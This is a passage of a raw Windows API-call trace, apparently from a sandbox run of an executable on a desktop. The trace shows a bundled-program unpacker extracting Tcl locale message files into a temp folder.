cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.264] GetFileType (hFile=0x10c) returned 0x1 [0037.264] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.265] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.265] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.265] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.265] CloseHandle (hObject=0x10c) returned 1 [0037.265] GetLastError () returned 0x0 [0037.265] SetLastError (dwErrCode=0x0) [0037.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_sv.msg") returned 64 [0037.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_sv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_sv.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.265] GetLastError () returned 0x2 [0037.265] SetLastError (dwErrCode=0x2) [0037.265] GetLastError () returned 0x2 [0037.265] SetLastError (dwErrCode=0x2) [0037.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_sv.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_sv.msg", lpFilePart=0x0) returned 0x3f [0037.265] GetLastError () returned 0x2 [0037.265] SetLastError (dwErrCode=0x2) [0037.265] GetLastError () returned 0x2 [0037.265] SetLastError (dwErrCode=0x2) [0037.265] GetLastError () returned 0x2 [0037.265] SetLastError (dwErrCode=0x2) [0037.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_sv.msg") returned 64 [0037.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_sv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_sv.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.266] GetFileType (hFile=0x10c) returned 0x1 [0037.266] htonl (hostlong=0xfb000000) returned 0xfb [0037.266] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.266] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.267] CloseHandle (hObject=0x10c) returned 1 [0037.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.268] htonl (hostlong=0x30000000) returned 0x30 [0037.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.268] GetFileType (hFile=0x10c) returned 0x1 [0037.268] htonl (hostlong=0x45555700) returned 0x575545 [0037.268] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0545, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.268] htonl (hostlong=0xa0000000) returned 0xa0 [0037.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0037.268] htonl (hostlong=0xa0000000) returned 0xa0 [0037.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.268] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.269] htonl (hostlong=0xfb000000) returned 0xfb [0037.269] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.269] htonl (hostlong=0xa0000000) returned 0xa0 [0037.269] htonl (hostlong=0xfb000000) returned 0xfb [0037.269] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.269] CloseHandle (hObject=0x10c) returned 1 [0037.269] GetLastError () returned 0x0 [0037.269] SetLastError (dwErrCode=0x0) [0037.269] GetLastError () returned 0x0 [0037.269] SetLastError (dwErrCode=0x0) [0037.269] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.269] GetFileType (hFile=0x10c) returned 0x1 [0037.269] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.269] CloseHandle (hObject=0x10c) returned 1 [0037.270] GetLastError () returned 0x0 [0037.270] SetLastError (dwErrCode=0x0) [0037.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.270] GetFileType (hFile=0x10c) returned 0x1 [0037.270] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.270] CloseHandle (hObject=0x10c) returned 1 [0037.270] GetLastError () returned 0x0 [0037.270] SetLastError (dwErrCode=0x0) [0037.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_uy.msg") returned 64 [0037.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_uy.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_uy.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.270] GetLastError () returned 0x2 [0037.270] SetLastError (dwErrCode=0x2) [0037.270] GetLastError () returned 0x2 [0037.270] SetLastError (dwErrCode=0x2) [0037.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_uy.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_uy.msg", lpFilePart=0x0) returned 0x3f [0037.270] GetLastError () returned 0x2 [0037.271] SetLastError (dwErrCode=0x2) [0037.271] GetLastError () returned 0x2 [0037.271] SetLastError (dwErrCode=0x2) [0037.271] GetLastError () returned 0x2 [0037.271] SetLastError (dwErrCode=0x2) [0037.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_uy.msg") returned 64 [0037.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_uy.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_uy.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.271] GetFileType (hFile=0x10c) returned 0x1 [0037.271] htonl (hostlong=0xfb000000) returned 0xfb [0037.271] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.271] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.290] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.298] CloseHandle (hObject=0x10c) returned 1 [0037.303] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.303] htonl (hostlong=0x30000000) returned 0x30 [0037.303] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.303] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.303] GetFileType (hFile=0x10c) returned 0x1 [0037.303] htonl (hostlong=0xe5555700) returned 0x5755e5 [0037.303] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c05e5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.303] htonl (hostlong=0x9f000000) returned 0x9f [0037.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.303] htonl (hostlong=0x9f000000) returned 0x9f [0037.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.303] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.304] htonl (hostlong=0xfb000000) returned 0xfb [0037.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.304] htonl (hostlong=0x9f000000) returned 0x9f [0037.304] htonl (hostlong=0xfb000000) returned 0xfb [0037.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.304] CloseHandle (hObject=0x10c) returned 1 [0037.304] GetLastError () returned 0x0 [0037.304] SetLastError (dwErrCode=0x0) [0037.304] GetLastError () returned 0x0 [0037.304] SetLastError (dwErrCode=0x0) [0037.304] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.304] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.304] GetFileType (hFile=0x10c) returned 0x1 [0037.304] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.304] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.304] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.304] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.304] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.304] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.304] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.304] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.304] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.305] CloseHandle (hObject=0x10c) returned 1 [0037.305] GetLastError () returned 0x0 [0037.305] SetLastError (dwErrCode=0x0) [0037.305] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.305] GetFileType (hFile=0x10c) returned 0x1 [0037.305] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.305] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.305] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.305] CloseHandle (hObject=0x10c) returned 1 [0037.305] GetLastError () returned 0x0 [0037.305] SetLastError (dwErrCode=0x0) [0037.305] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ve.msg") returned 64 [0037.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ve.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ve.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.305] GetLastError () returned 0x2 [0037.305] SetLastError (dwErrCode=0x2) [0037.306] GetLastError () returned 0x2 [0037.306] SetLastError (dwErrCode=0x2) [0037.306] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ve.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ve.msg", lpFilePart=0x0) returned 0x3f [0037.306] GetLastError () returned 0x2 [0037.306] SetLastError (dwErrCode=0x2) [0037.306] GetLastError () returned 0x2 [0037.306] SetLastError (dwErrCode=0x2) [0037.306] GetLastError () returned 0x2 [0037.306] SetLastError (dwErrCode=0x2) [0037.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ve.msg") returned 64 [0037.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ve.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ve.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.306] GetFileType (hFile=0x10c) returned 0x1 [0037.306] htonl (hostlong=0xfb000000) returned 0xfb [0037.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.306] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.307] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.307] CloseHandle (hObject=0x10c) returned 1 [0037.308] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.308] htonl (hostlong=0x30000000) returned 0x30 [0037.308] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.308] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.308] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.308] GetFileType 